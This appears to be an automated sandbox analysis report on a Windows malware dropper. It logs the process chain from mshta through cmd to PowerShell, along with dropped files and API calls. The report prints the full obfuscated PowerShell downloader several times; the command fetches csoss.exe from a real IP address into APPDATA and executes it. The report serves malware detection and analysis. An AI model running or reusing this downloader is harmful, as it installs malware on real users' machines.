iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"	Jump to behavior

Suspicious command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.cmdline"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D04B37 LoadLibraryA,GetProcAddress,

6_2_00D04B37

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_044856F3 pushad ; ret	3_2_04485721
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04485723 pushfd ; ret	3_2_04485731
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D28945 push ecx; ret	6_2_00D28958

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\csoss.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D048D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_00D048D7
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D85376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_00D85376

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D23187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00D23187

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
